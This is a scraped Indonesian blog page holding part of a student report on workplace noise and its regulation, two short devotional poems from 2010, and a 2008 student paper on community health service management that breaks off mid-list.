Dari kedua sumber bising tersebut di atas, tingkat bising yang sangat tinggi diproduksi dalam beberapa bangunan industri oleh proses pabrik atau produksi. Tingkat bunyi sumber-sumber bising tertentu, yang diukur dengan meter tingkat bunyi. Berikut ini adalah tingkat bising rata-rata yang biasa:

Sumber Bising	Tingkat Bising (dB)
Rumah tenang pada umumnya Jalan pemukiman yang tenang Mobil penumpang di lalulintas Mobil penumpang di jalan raya Lalu lintas kota pada jam sibuk	42 48 70 76 90

2.3 Jenis-Jenis Kebisingan

Kebisingan menurut Suma’mur (1995) dapat dibagi menjadi lima jenis, yaitu:

Kebisingan yang kontinu dengan spectrum frekuensi yang luas (Steady state, wide band noise), misaknya mesin-mesin, kipas angin, dapur pijar, dan lain-lain.
Kebisingan kontinu dengan spectrum frekuensi sempit (steady state, narrow band noise), misalnya gergaji sirkuler, katup gas, dan lain-lain.
Kebisingan terputus-putus (intermitten), misalnya lalu lintas, suara kapal terbang di lapangan udara.
Kebisingan impulsive (impact or impulsive noise), seperti pukulan tukul, tembakan bedil atau meriam, ledakan, dan lain-lain.

Kebisingan impulsive berulang, misalnya mesin tempa di perusahaan.

2.4 Faktor-Faktor yang Berkaitan dengan Kebisingan

Beberapa factor yang berkaitan dengan kebisingan (nasri, 1997), yaitu :

1. Frekuensi

Frekuensi adalah jumlah satuan getaran yang dihasilkan dalam satuan waktu (detik), dengan satuan hertz (Hz). Frekuensi suara yang dapat didengar oleh manusia mulai dari 20 Hz sampai dengan 20.000 Hz.

2. Intensitas suara

Intensitas suara didefinisikan sebagau energi suara rata-rata yang ditransmisikan melalui gelombang suara menujuarah perambatan dalam media (udara, air, benda,dan sebagainya).

3. Amplitudo

Amplitudo adalah satuan kuantitas suara yang dihasilkan oleh sumber suara pada arah tertentu.

4. Kecepatan suara

Kecepatan suara adalah satuan kecepatan perpindahan perambatan udara per satuan waktu.

5. Panjang gelombang

Panjang gelombang adalah jarak yang ditempuh oleh perambatan suara untuk satu siklus.

6. Periode

Periode adalah waktu yang dibutuhkan untuk satu siklus amplitude dengan satuan detik.

7. Oktave band

Oktave band merupakan kelompok-kelompok frekuensi tertentu dari suara yang dapat didengar dengan baik oleh manusia.

8. Frekuensi bandwidth

Frekuensi bandwidth dipergunakan untuk pengukuran suara industri.

9. Puretone

Puretone adalah gelombang suara yang terdiri hanya dari satu jenis amplitudo dan satu jenis frekuensi

10. Loudness

Loudness adalah persepsi pendengaran terhadap suara pada amplitudo tertentu. Satuannya adalah phon, 1phon setara dengan 4 dB pada frekuensi 1000 Hz.

11. Kekuatan suara

Kekuatan suara adalah satuan dari total energi yang dipancarkan oleh suara per satuan waktu.

12. Tekanan suara
Tekanan suara adalah satuan daya tekan suara per satuan luas.

2.5 Tingkat Kebisingan

Menurut Peraturan Daerah Provinsi Daerah Khusus Ibukota Jakarta Nomor 2 Tahun 2005 Tentang Pengendalian Pencemaran Udara, Tingkat kebisingan adalah ukuran energi bunyi yang dinyatakan dalam satuan Desibel disingkat Db.

Menurut Keputusan Menteri negara lingkungan hidup Nomor : KEP-48/MENLH/11/1996 Tentang Baku tingkat kebisingan, Tingkat kebisingan adalah ukuran energi bunyi yang dinyatakan dalams atuan Desibel disingkat dB;

Tabel 1.1 KEP-48/MENLH/11/1996 Tentang Baku tingkat kebisingan

2.5 Baku Mutu Tingkat Kebisingan

Menurut Peraturan Daerah Provinsi Daerah Khusus Ibukota Jakarta Nomor 2 Tahun 2005 Tentang Pengendalian Pencemaran Udara, Baku tingkat kebisingan adalah batas maksimal tingkat kebisingan yang diperbolehkan dibuang ke lingkungan dari usaha atau kegiatan sehingga tidak menimbulkan gangguan kesehatan manusia dan kenyamanan lingkungan.

Menurut Keputusan Menteri Negara Lingkungan Hidup Nomor : KEP-48/MENLH/11/1996 Tentang Baku tingkat kebisingan baku tingkat kebisingan adalah batas maksimal tingkat kebisingan yang diperbolehkan dibuang ke lingkungan dari usaha atau kegiatan sehingga tidak menimbulkan gangguan kesehatan manusia dan kenyamanan lingkungan

KEPUTUSAN MENTERI NEGARA

LINGKUNGAN HIDUP

Nomor: KEP-48/MENLH/11/1996

Tanggal: 25 Nopember 1996

2.7 Alat pengukur dan metode pengukuran

Alat utama dalam pengukuran kebisingan adalah Sound Level Meter. Alat ini mengukur kebisingan antara 30-130 dB dengan frekuensi antara 20-20.000 Hz. Suatu sistem kalibrasi terdapat dalam alat itu sendiri, kecuali untuk kalibrasi mikrofon diperlukan pengecekan dengan kalibrasi tersendiri. Sebagai kalibrasi dapat dipakai pengeras suara yang kekuatan suaranya diatur amplifer. Atau suatu piston phone dibuat untuk maksud kalibrasi ini, yang tergantung dari tekanan udara, sehingga perlu koreksi tergantung dari barometer. Kalibrator dengan intensitas tinggi (125 dB) lebih disenangi, olah karena alat itu mungkin dipakai mengukur intensitas tinggi.

Skala pengukurannya yaitu :

1. Skala pengkuran A yaitu untuk memperlihatkan perbedaan kepekaan yang besar pada frekuansi rendah dan tinggi yang menyerupai reaksi telinga untuk intensitas rendah (35-135 dB)

2. Skala pengukuran B yaitu memperlihatkan kepekaan telinga untuk bunyi dengan intensitas sedang (40-135 dB)

3. Skala pengukuran C yaitu untuk mengukur bunyi dengan intensitas tinggi (45-135 dB)

Tiga metode pengukuran kebisingan :

1. Pengukuran dengan titik sampling

Pengukuran dilakukan bila kebisingan diduga melebihi ambang batas hanya pada satu atau beberapa lokasi saja. Pengukuran ini juga digunakan untuk mengevaluasi kebisingan yang disebabkan oleh peralatan sederhana, misal kompresor dan generator.

2. Pengukruan dengan Peta Kontur

Pengukuran dengan membuat peta kontur sangat bermanfaat dalam mengukur kebisingan karena dapat memberikan gambaran tentang kondisi kebisingan dalam cakupan area.

3. Pengukuran dengan Grid

Teknik pengukuran dengan grid adalah dengan membuat contoh data kebisingan pada lokasi yang diinginkan. Titik-titik sampling harus dibuat dengan jarak interval yang sama diseluruh lokasi. Setelah titik sampling diplot dalam peta, maka isobel kebisingan dapat digambarkan dengan menghubungkan titik yang mempunyai tingkat kebisingan yang sama.

2.8 Pengaruh Kebisingan Terhadap Kesehatan

Pengaruh kebisingan terhadap manusia tergantung pada karakteristik fisik, waktu berlangsung dan waktu kejadian (Depdikbud, 1999). Menurut Depdikbud, (1999), ada beberapa gangguan yang diakibatkan oleh kebisingan diantaranya :

1. Gangguan Pendengaran

Pendengaran manusia merupakan salah satu indera yang berhubungan dengan komunikasi audio/suara. Alat pendengaran yang berbentuk telinga berfungsi sebagai fonoreseptor yang mampu merespon seuara pada kisaran 0-140 dB tanpa menimbulkan rasa sakit.

Sensitifitas pendengara pada manusia yang dikaitkan dengan suara paling lemah yang masih ddapat didengar disebut ambang pendengaran, sedangkan suara yang paling tinggi yang masih dapat didengar tanpa menimbulkan rasa sakit disebut ambang rasa sakit. Kerusakan pendengaran (dalam bentuk ketulian) merupakan penurunan sensitifitas yang berlangsung secara terus-menerus. Tindak pencegahan terhadap ketulian akibat kebisingan memerlukan kriteria yang berhubungan dengan tingkat kebisingan maksimum dan lamanya kebisingan yang diterima.

Lebarnya interval tekanan suara dan frekuensi yang dapat diterima oleh telinga manusia membuat telinga manusia memiliki kawasan-kawasan yang peka suara dan jika dipetakan pada suatu grafik frekuensi versus arah tekanan suara akan memperlihatkan adanya auditory sensation area. Kawasan tersebut dibagian atas dibatasi oleh ambang pendengaran yaitu suatu arah tekanan suara maksimal yang masih bisa direspon oleh pendengaran tanpa merusaknya, sedangkan bagian bawah dibatasi oleh ambang pendengaran minimum yaitu arah tekanan minimal yang dibutuhkan untuk merangsang pendengaran

2. Gangguan Kesehatan

Kebisingan berpoensi untuk mengganggu kesehatan manusia apabila manusia terpapar aras suara dalam suatu perioda yang lama dan terus-menerus. Aras suara 75 dB untuk 8 jam kerja per hari jik ahanya terpapar satu hari saja pengaruhnya tidak signifikan terhadap kesehatan, tetapi apabila berlangsung setiap hari, maka suatu saat akan melewati suatu batas dimana paparan kebisingan tersebut akan menyebabkan hilangnya pendengaran seseorang (tuli).

Untuk beberapa kasus paparan kebisingan, dampaknya terhadap kesehatan lebih banyak bersifat individual dan tidak bisa dipukul rata untuk sekelompok populasi manusia sehingga dalam hal ini diperlukan suatu fungsi pembobotan yang dipilih untuk menentukan risiko dampak kebisingan terahdap sekelompok populasi manusia. Fungsi ini disebut fungsi pembobotan proteksi pendengaran. Risiko dampak kebisingan terhadap ketulian populasi. Selain gangguan terhadap sistem pendengaran, dan usia anggota berpengaruh atau dapat menimbulkan gangguan terhadap mental, emosional, serta sistem jantung dan peredaran darah. Gangguan mental emosional berupa terganggunya kenyamanan hidup, mudah marah, an menjadi lebih peka atau mudah tersinggung, melalui mekanisme hormonal yaitu diproduksinya hormon adrenalin, dapat meningkatkan frekuensi detak jantung dan tekanan darah.

2.9 Pengendalian

Kebisingan dapat dikendalikan dengan :

1. Menepatkan peredam pada sumber getaran.

Hal terakhir ini sangat tergantung pada permintaan para usahawan sebagai pembeli mesin-mesin kepada pabrik pembuatannya dengan menunjukan persyratan kebisingan dari mesin sebelumnya. Bukan saja tingkat bahaya yang diperhatikan, tetapi juga intensitas yang dapat diterima sebagai tidak menganggu daya kerja.

Hal ini sangat mahal dan kurang efektif, maka dari itu perencanaan sejak semula adalah paling utama.

2. Penempatan penghalang pada jalan transmisi

Isolasi tenaga kerja atau mesin adalah usaha segera dan baik bagi usaha mengurangi kebisingan. Untuk ini perencanaan harus sempurna dan baha – bahan yang dipakai harus mampu menyerap suara. Bahan – bahan penutup harus dibuat cukup berat dan lapisan dalam terbuat dari bahan yang menyerap sinar, agar tidak terjadi getaran yang lebih hebat.

3. Proteksi dengan sumbat atau tutup telinga

Tutup telinga biasanya lebih efektif dari penyumbat telinga. Alat demikian harus diseleksi, sehingga dipilih yang tepat. Alat – alat ini mengurangi intensitas kebisingan sekitar 20 – 25 dB. Harus diusahakan perbaikan komunikasi, sebagai akibat pemakaian alat – alat ini. Problematik utama pemakaian alat proteksi pendengaran adalah mendidik tenaga kerja agar kontinue mengunakannya.

Setiap sumbat telinga selalu menyebabkan pemakainya merasa adanya suatu benda asing dalam telinganya. Perasaan demikian akan tetap ada, walaupun sekarang dapat diusahakan sumbat telinga yang halus dan tidak begitu terasa. Maka dari itu sumbat telinga baru dipakai, apabila hal itu benar-benar diperlukan, yaitu adanya kebisingan lebih dari 100 dB (A)

Muhasabah Sejati

2010-01-30T13:38:00.000-08:00

Selama ini
Kumencari-cari
Teman yang sejati
Buat menemani
Perjuangan suci . . .

Bersyukur kini
PadaMu Illahi
Teman yang dicari
Selama ini
Telah kutemui . . .

Dengannya di sisi
Perjuangan ini
Senang diharungi
Bertambah murni
Kasih Illahi
KepadaMu Allah
Kupanjatkan doa
Agar berkekalan
Kasih sayang kita . . .

Kepadamu teman
Ku pohon sokongan
Pengorbanan dan pengertian
Telah kuungkapkan
Segala-galanya . . .

KepadaMu Allah
Kupohon restu
Agar kita kekal bersatu
Kepadamu teman
Teruskan perjuangan
Pengorbanan dan kesetiaan
Telah kuungkapkan
Segala-galanya
Itulah tandanya
Kejujuran kita . . .

Muhasabah Jiwa

2010-01-30T13:34:00.000-08:00

",,,Pikiran terkadang selalu terkait hati. Memang selalu banyak hal yang tak terduga dalam pikiran kita. Tapi itu semua kembali pada bagaimana kita menyikapinya. Di setiap bagian dari kehidupan kita pasti akan ditemui sisi yang gelap. Tiada lain bagi kita untuk menanggulanginya kecuali dengan cara menyalakan sebuah pelita dalam hati,."

",,,dan kini, Ku telah menyalakan pelita itu sebelum cahaya lain datang mengistirahatkan ia sebagai makhluk Tuhan yang cantik,."

",,,Aku ingin kita saling mengendalikan pikiran kita, niscaya kita akan meraih kebahagiaan . Lalu pancangkanlah dalam imaginasi kita sebuah bayangan kesuksesan dan biarkanlah ia bersemayam di dalam hati kita untuk menjadi sebuah kenyataan yang hakiki,."

",,,dan setiap kesulitan pasti ada kemudahan,."
(el-Moslem'2010)

",,,Aku tegak sendirian dalam waktuku seraya mendengarkan suara hati dan sayup-sayup kudengar dari dalam diriku suara kidung harapan.Sebagai cinta kasih menghidupkan hati manusia dengan kepedihan,demikian pun kedunguan mengajariku mencari jalan kearifan.Rasa pedih dan bodoh mengantarkan aku menuju sukacita agung dan kearifan nan adi luhur,sebab kearifan abadi tiada menciptakan yang sia-sia di bawah sang surga.Aku tersadar dari mimpi,bahwa hidupku adalah penghambaan kepada-Mu.Namun,izinkan aku menggapai bidadari hati yang setia menemani setiap jalan yang Engkau ridhoi,."
(el-Moslem'31 Januari 2010)

Manajemen Pelayanan Kesehatan Masyarakat

2009-01-09T05:04:00.000-08:00

MANAJEMEN PELAYANAN KESEHATAN BERWAWASAN MASYARAKAT

Oleh:
Muhammad Wahid Muslim
107101001767

Jurusan Kesehatan Masyarakat
Fakultas Kedokteran dan Ilmu Kesehatan UIN Syarif Hidayatullah Jakarta
Tahun 2008

BAB I
PENDAHULUAN

Pada dasarnya ada dua tugas utama suatu Negara yakni (1) mengatur dan mengendaalikan kekuatan-kekuatan social agar tidak bertentangan dan membahayakan (2) mengorganisasi dan mengintegrasikan kegiatan manusia, golongan-golongan kearah pencapaian tujuan masyarakat.
Dalam pembukaan UUD 1945 secara tegas dinyatakan bahwa tugas umum pemerintah Negara Kesatuan Republik Indonesia adalah untuk melindungi segenap bangsa dan seluruh tumpah darah Indonesia, memajukan kesejahteraan umum, mencerdaskan kehidupan bangsa, serta ikut melaksanakan ketertiban dunia yang berdasarkan kemerdekaan, perdamian abadi, dan keadilan sosial.

Untuk mencapai pelaksanaan tugas Negara dibutuhkan suatu aparatur Negara yang berkualitas. Memiliki kemampuan dalam melayani, memenuhi keutuhan, menanggapi keluhan masyarakat secara memuaskan, sesuai dengan ekspektasi mereka melalui kebijaksanaan, perangkat hokum yang berfungsi sebagai acuan dalam pengendalian, pengaturan agar kekuatan sosial dan aktifitas masyaarakat tidak membahayakan, merugikan Negara dan bangsa.

Dewasa ini berbagai organisasi baik bisnis maupun pemerintah seperti amerika Serikat, merubah paradigma dan orientasi produsen menjadi orientasi masyarakat. Sumber Daya Manusia dikonsentrasikan kepada pelayanan masyarakat, pembuatan produk bernilai tambah, berdaya saing. Aparatur pemerintah dan unit-unit pelayanan didorong, dimotivasi bersaing untuk memberikan pelayanan prima (yang lebih memuaskan masyarakat).
Oleh karena itu, menyadari semakin tingginya kesadaran kesehatan oleh masyarakat akan hak-haknya termasuk mendapatkan pelayanan kesehatan, maka kita selaku calon abdi masyarakat sebagai Ahli Kesehatan Masyarakat harus memahami manajemen pelayanan kesehatan masyarakat.

Manajemen pelayanan kesehatan masyarakat yang saya usung dalam makalah ini akan membahas tentang pemahaman pelayanan, konsepsi wawasan pelayanan, karakteristik pelayanan, pengelolaan pelayanan masyarakat yang memusakan. Sehingga, diharapkan dapat meningkatkan wawasan dan pemahaman kita serta mampu diimplementasikan dibidang kesehatan masyarakat supaya memberikan manfaat ke semua pihak termasuk kita sendiri sebagai calon Ahli Kesehatan Masyarakat.

BAB II
PEMAHAMAN PELAYANAN MASYARAKAT

A. Pengertian pelayanan

Pelayanan adalah cara melayani, membantu menyiapkan, mengurus, menyelesaikan keperluan, kebutuhan seseorang atau sekelompok orang. Artinya objek yang dilayani adalah individu, pribadi-pribadi, dan organisasi.

Dalam pengertian tersebut terkandung suatu kondisi yang melayani yakni memiliki suatu keterampilan keahlian di bidang tertentu. Berdasarkan keterampilan dan keahlian tersebut pihak yang melayani mempunyai posisi atau nilai lebih dalam kecakapan tetentu, sehingga mampu memberikan bantuan dalam menyelesaikan suatu keperluan, kebutuhan individu, atau organisasi.

Pelayanan masyarakat adalah segala bentuk pelayanan sector public yang dilaksanakan aparatur pemerintah, termasuk aparat yang bergerak di bidang perekonomian dalam bentuk barang dan jasa, yang sesuai dengan kebutuhan masyarakat, dan ketentuan perudang-undangan yang berlaku.

Dalam pengertian pelayanan masyarakat tersebut secara konkrit diutarakan beberapa hal:

1. Pelayanan itu merupakan suatu kewajiban yang harus dilaksanakan aparatur pemerintah, termasuk aparatur di bidang perekonomian.
2. Objek yang dilayani adalah masyarakat
3. Bentuk layanan itu adalah barang dan jasayang sesuai dengan kebutuhan masyarakat dan peraturan perundang-undangan yang berlaku.

Pelayanan pelanggan (masyarakat yang menjadi sasaran pelayanan) adalah system manajemen yang diorganisasikan unutk penyediaan hubungan pelayanan yang berkesinambungan antara waktu pemesanan dan barang watau jasa yang diterima, digunakan, dengan tujuan memuaskan pelanggan dalam jangka panjang (Christopher, 1992)

BAB III
KONSEP WAWASAN PELAYANAN KESEHATAN

A. Pelayanan Berwawasan Masyarakat

Pemikiran untuk berpihak melindungi produsen local dengan membeikan pelayanan khusus masih sulit dihilangkan.

Memberikan perlakuan khas berupa fasilitas dan proteksi khusus kepada prosdusen agar menjadi perusahaan besar, konglomerat bertujuan untuk memperkuat daya saing produsen dala era globalisasi. Pemberian pelayanan khusus ini merupakan suatu indilkasi, kecenderunagan berorientasi pada produsen.

Selain itu produsen yang berorientasi pada produk beranggapan bahwa konsumen akan puas kalau dengan memilih produk, dan produk yang ditawarkan bermutu. Dengan konssepsi menawarkan produk bermutu,, perhatian produsen difokuskan pada mutu produk. Jatuh cinta pada produk bukan pada kebutuhan, keinginan masyarakat (konsumen).

Konsepsi mEdan wawasan menjualpun adalah menawarkan produk yang dihasilkan, bukan memberikan apa yang diinginkan, dibutuhkan masyarakat.

Konsepsi tersebut tidaklah cocok lagi dalam era globalisasi yang serba kompetitif. Organisasi pemerinnatah dan bisnis harus merubah wawasan dari konsep produk , menjadi konsep berwawasan pelayanan masyarakat yang memuaskan.

B. Pelayana Aparatur Pemerintah

Sesuai dengan fungsi aparatur pemerintah yaitu abdi masyarakat, maka sangat tepat cara implementasi konsep pelayanan berwawasan masyarakat menempatkan pelanggan eksternal (penikmat barang dan jasa/konsumen) pada puncak struktur organisasi. Untuk itu tugas utama dari aparatur pemerintah, dan pelaku bisnis adalah mengidentifikasi, menentukan dengan konkrit, membuat secara lebih efektif dan efisien apa yang dibutuhkan, diperlukan oleh masyarakat. Pemimpin, manajer yang komitmen terhadap kepuasan, akan berorientasi juga kepada apa yang dibutuhkan pegawai dalam melaksanakan tugas akan berupaya mencegah timbulnya kerusakan lingkungan. Kalau semua pegawai komitmen memberikan peklayanan yang cepat, tepat maka kegiatan-kegiatan mereka tidak menimbulkan biaya tinggi, merugikan kepentingan masyarakat ini, berarti terjadi reformasi perilaku aparatur pemerintah dari dilayani menjadi melayani.

Semua aparatur pemerintah, menurut saya harus melakukan reformasi konsepsi , wawasan berpikir, merubah paradigm, dan perilaku meereka dari dilayani menjadi melayani. Melayani dengan cepat, tepat pada setiap level dibidang masing-masing sesuai tugas pokok dan fungsi. Cara kerja lama yang terkesan lamban dirubah, dirancang menjadi pelayanan yang cepat, tepat, lebih efektif, lebih efisien. Cara-cara berpikir yang kurang terbuka, yang kaku dalam mengartikan, menerapkan peraturan, disiplin, direformasi menjadi pemkir yang kreatif, inovatif, dan adaptif terhadap perubahan. Peraturan kebijakan yang kurang kondusif terhadap tuntutan masyarakat, dikaji, disempurnakan dan diganti.

C. Pemberdayaan Masyarakat

Dalam upaya lebih untuk meningkatkan efektifitas dan efisiensi manajemen pelayanan masyarakat yang berbasis public, khususnya untuk Pelayanan Kesehatan Masyarakat atau sector public pada tahun 1993 David Osborne dan Ted Gabler mempopulerkan suatu konsepsi, gagasan, gerakan, yang disebuat “Reinverting Government”. Inti gerakan “Reinverting Government” menganjurkan kepada pemerintah sebaiknya lebih berfungsi sebagai pengendali (steering) dari pada sebagai penyedia layanan (Rowing) kepada Masyarakat.

Prinsip utama Reinverting Manajemen adalah pengembangan system manajemen pelayanan masyarakat dengan pendekatan pemberdayaan masyarakat dan kerjasama dengan public (Public Private Partnership) atau mission driven budgeting. Maksudnya kalau public (swasta) sudah mampu menyediakan jasa pelayanan, pemerintah tidak perlu ikut campur tangan lagi. Pemerintah hanya berfungsi sebagai pengendali agar swasta yang diberi kepercayaan mengelola penyediaan jasa layanan tidak merugikan, membahayakan konsumen. Misalnya, pengendalian/ pengawasan mutu makanan dan obat-obatan oleh Departemen Kesehatan.

Berikut ada 10 prinsip gerakan Reinverting Government:
1. Pemerintahan katalis: mengarahkan ketimbang mengayuh;
2. Pemerintahan milik masyarakat: memberi wewenang ketimbang melayani;
3. Memerintahan yang kompetitif: menyuntikkan persaingan ke dalam pemberian pelayanan;
4. Pemerintahan yang digerakkan oleh misi: mengubah organisasi yang digerakkan oleh peraturan;
5. Pemerintahan yang berorientasi hasil: mebiayai hasil, bukan masukan;
6. Pemerintahan berorientasi pelanggan: memenuhi kebutuhan pelanggan, bukan birokrasi;
7. Pemerintahan wirausaha: menghasilkan ketimbang membelajakan;
8. Pemerintahan antisipatif: mencegah daripada mengobati;
9. Pemerintahan desentralisasi: dari hierarki menuju partisipasi dan tim kerja;
10. Pemerintahan berorientasi pasar: mendongkrak perubahan melalui pasar

D. Pelayanan Yang Memuaskan Semua Pihak

Dengan memberikan pelayanan yang memuaskan (prima) yang diberikan semua aparatur pemerintah pada semua level dibidang masing-masing, dapat memberikan kepuasan kepada masyarakat, pemerintah atau pendiri organisasi itu sendiri, serta kita sebagai calon ahli Kesehatan Masyarakat.

BAB IV
KARAKTERISTIK PELAYANAN KESEHATAN

A. Karakteristik Pelayanan

Karakteristik atau atribut yang harus diperhatikan dalam perbaikan kualitas jasa pelayanan terutama dalam bidang kesehatan, setidaknya memenuhi karakteristik pelayanan yang menurut Vincent Gospersz ada 10 dimensi, yakni:

1. Kepastian waktu pelayanan
Ketepatan waktu yang diharapkan berkaitan dengan waktu proses atau penyelesaian, pengiriman, penyerahan, jaminan atau garansi dan menanggapi keluhan.
2. Akurasi Pelayanan
Akurasi pelayanan berkaitan dengan realibilitas pelayanan, bebas dari kesalahan-kesalahan
3. Kesopanan dan keramahan dalam memberikan pelayanan.
4. Tanggung jawab
Bertanggung jawab dalam penerimaan pesan atau permintaan dan penanganan keluhan pelanggan eksternal (konsumen).
5. Kelengkapan
Kelengkapan pelayanan menangkut lingkup pelayanan, ketersediaan sarana pendukung, dan pelayanan komplementer
6. Kemudahan mendapatkan pelayanan
Kemudahan mendapatkan pelayanan berkaitan dengan banyaknya outlet, petugas yang melayani, dan fasilitas pendukung.
7. Variasi model pelayanan
Variasi model pelayanan berkaitan dengan inovasi untuk memberikan pola-pola baru pelayanan, features pelayanan.
8. Pelayanan pribadi
Pelayanan pribadi berkaitan dengan kemampuan dalam memberikan, menanggapi kebutuhan khas.
9. Kenyamanan dalam memperoleh pelayanan
Kenyamanan pelayanan berkaitan dengan ruang tunggu/tempat pelayanan, kemudahan, ketersediaan data/informasi, dan petunjuk-petunjuk.
10.Atribut pendukung pelayanan
Atribut pendukung pelayanan dapat berupa ruang tunggu yang cukup, AC, bahan bacaan, TV, music, dan kebersihan lingkungan.

BAB V
PENGELOLAAN PELAYANAN KESEHATAN MASYARAKAT

Manajemen Pelayanan Masyarakat adalah suatu proses atau kemampuan dalam mengelola jasa pelayanan yang dibutuhkan masyarakat mulai saat permintaan sampai jasa pelayanan itu diserahkan, digunkan. Pengelolaan jasa pelayanan yang cepat, tepat dan bermutu, karakteristiknya sesuai dengan yang dijanjikan atau diharapkan masyarakat (konsumen), itulah suatu manajemen atau pengelolaan pelayanan prima atau memuaskan.

Dalam pengelolaan pelayanan kesehatan di masyarakat agar dapat memuaskan ada 4 tahap aktifitas utamayang harus dilakukan secara berurutan dan terpadu, yakni:

A. Merencanakan jasa pelayanan yang dibutuhkan
B. Memproses atau mengolah jasa pelayanan
C. Menyerahkan jasa

D. Menanggapi kebutuhan

A. Merencanakan jasa pelayanan kesehatan yang dibutuhkan masyarakat

1. Identifikasi Kebutuhan

Sebelum menentukan kebutuhan pelayanan kesehatan, lebih dahulu diketahui siapa yang menjadi sasaran (masyarakat) yang akan dilayani. Pada umumnya pelanggan yang dilayani setiap pegawai adlah semua orang atau organisasi/unit kerja yang berinteraksi, berhubungan dan mengharapkan sesuatu keperluan kebutuhannya sesuai dengan pekerjaan kita, sebagai calon ahli kesehatan. Mereka mengharapkan kita dapat memenuhi kebutuhannya sesuai dengan karakteristik, kualitas tertentu atau standard.

2. Memahami kebutuhan pelanggan

dalam memahami kebutuhan pelanggan yang sesuai dengan ekspektasi mereka , ada 2 pendekatan yang dapat dilakukan, yaitu: komunikasi (3 cara) dan benchmarking (1 cara). Dengan demikian, ada 4 cara memahami kebutuhan pelanggan/konsumen/masyarakat, yaitu;

a. Reaktif
Memahami kebutuhan pelanggan secara reaktif adalah dengan mendengar keluhan pelanggan/ masyarakat. Jika ada keluhan baru beraksi menanggapi. Pendekatan ini kurang efektif dalam menciptakan pelayanan yang memuaskan pelanggan secara berkesinambungan.

b. Aktif
Memahami kebutuhan masyarakat secara aktif adalah dengan menjawab setiap ada pertanyaan pelanggan atau masyarakat yang datang ke pelayanan kesehatan dan menawarkan jasa yang disediakan. Cara ini menurut saya masih kurang efektif, karena tujuannya baru pada tingkat mendengar secara aktif, belum menggali apa harapan masyarakat yang dating ke pelayanan kesehatan.

c. Proaktif
Adalah aktif menjaring informasi tentang harapan masyarakat, melalui wawancar, survai. Penyedia jasa ini seolah-olaah memposisikan diri sebagai pelanggan. Pendekatan proaktif ini, menurut saya sangatlah efektif jika diterapkan pada penyedia jasa pelayanan kesehatan masyarakat.

d. Benchmarking
Memahami kebutuhan pelanan dengan benchmarking adalah suatu proses pengukuran pelayanan yang diberikan secara terus-menerus dengan car amembandingkan pelayanan terbaik dari instansi lain (pesaing).
Dalam menentukan kebutuhan khas setiap pelanggan atau masyarakat dalam pelayanan kesehatan agar tidak berdasarkan asumsi, opini, tetapi harus berdasarkan data dan informasi actual . oleh karena itu, harus ada sebuah persetujuan persepsi dengan masyarakat mengenai nilai, manfaat dan bentuk model jasa pelayanan dari anda. Jika telah memahami kebutuhan pelayanan kesehatan masyarakat, maka harus merumuskan secara konkrit kebutuhan itu. Kemudian buat desain atau rancangannya. Dalam rancanagan itu harus ditentukan kualitas, karakteristik dari dimensi tertentu, termasuk dimensi waktu pemrosesan, dan penyerahan serta sentuhan pelayanan pribadi dengan tujuan sebagai standar pelaksanaan.

3. Memproses Jasa Pelayanan

Setiap pekerjaan mempunyai hasil atau mengarah pada pencapaian tujuan. Dalam era Globalisasi ini, tuntutan terhadap setiap pekerjaan bukan hanya hasil atau produk barang dan jasa, tetapi yang dihasilkan itu bermutu, dapat memuaskan konsumen dan efisien. Sehingga memiliki daya saing dalam kualitas dan harga.

Dalam upaya memenuhi kebutuhan masyarakat mengenai pelayanan kesehatan, ada 2 hal sebagai komponen utama yang harus diproses dengan tepat, benar dan menerapkan system pengendalian proses kualitas sebagai berikut:

a. Ketepatan Aktifitas

Dalam melakukan pelayanan kesehatan untuk masyarakat ada serangkaian aktivitas yang harus dilaksanakan untuk divalidasi agar tepat dan benar-benar akan menghasilkan sesuatu yang dibutuhkan oleh masyarakat sesuai dengan yang telah drencanakan atau didesain.
Aktifitas yang telah ditentukan harus dipadukan agar saling mendukung dan terarah dalam memberikan pelayan kesehatan kepada masyarakat.
Setiap aktifitas yang telah ditentukan dibidang masing-masing sesuai tugas pokok dan fungsinya harus dilaksanakan secara benar dan tepat waktu berdasarkan standar yang telah ditetapkan.

b. ketepatan Sumber Daya
Agar aktivitas-aktifitas yang dilakukan oleh kita dalam melayani kesehatan masyarakat semakin efektif, harus tersedia sejumlah Sumber Daya yang tepat. Karena, Sumber Daya lah yang mendukung kita, sebagai calon ahli kesehatan masyarakat untuk tetap dapat berproduksi, menghasilkan sesuatu yang dapat dibutuhkan oleh masyarakat. Sumber Daya itu meliputi: Tenaga (SDM), Dana, Bahan, Alat atau Teknologi, Metode, Data, Informasi, Waktu, dan Lingkungan.

Sumber Daya ini bisa menjadi sumber pemborosan. Oleh karena itu, menurut saya harus dikelola, diproses dengan benar, dan tepat sebagai berikut:
1. Penyediaan Sumber Daya Kesehatan

Sumber daya yang kita perlukan untuk melayani kesehatan masyarakat harus tersedia dengan tepat, dalam keadaan cukup dan siap pakai.
Bahan-bahan masukan (input) yang akan dikelola harus diteliti dengan cermat, agar tepat kuantitas dan kualitas sesuai spesifikasi yang ditentukan untuk menjamin kualitas produk berupa pelayanan yang dihasilkan itu memuaskan semua pihak.

2. Penggunaan Sumber Daya Kesehatan
a. Penggunaan Sumber Daya Haruslah Tepat, seperti:

SDM harus diberdayakan sesuai keterampilan, keahlian, kecakapan atau kompetensi.
Teliti kompetensi yang kita miliki apakah tepat dengan pekerjaan yang dipercayakan, menjadi tanggung jawab kita.

b. Sarana kerja

Kita teliti kerja atau teknologi yang tersedia, apakah dalam kondisi yang siap pakai, dan dapat kita operasikan dengan baik, sehingga penyelesaian pekerjaan kita dalam elayani kesehatan masyarakat semakin cepat, tepat dan hasilnya memuaskan semua pihak, tanpa ada cacat.

c. Usia pakai

Karakteristik sarana dan teknologi yang tersedia harus dipahami dan dijaga, dipelihara dengan baik, agar kapasitas kerja dalam melayani kesehatan masyarakat tetap optimal. Karena, dengan memahami karakteristik, mekanisme kerja sarana, teknologi yang tersedia berarti saudara akan dapat mengendalikan waktu pengoprasian, pemeliharaan, dan perbaikannya.

d. Memfungsikan Sumber Daya

Sumber Daya yang tersedia harus dapat dimanfaatkan secara optimal sesuai dengan fungsinya.

3. Sistem Pengendalian Proses Kualitas modern

Untuk menjalin sejumlah aktivitas dan Sumber Daya yang terpadu keaarah peningkatan kualitas pelayanan kesehatan dan efisiensinya secara berkesinambungan, perlu kita lakukan suatu system pengendalian proses kualitas melalui kegiatan inspeksi dengan melakukan penelitian maupun kunjungan langsung.

System pengendalian proses kualitas pelayanan kesehatan masyaarakat, setidaknya menurut saya harus memiliki 5 karakteristik:

a. Berorientasi kepada Masyarakat
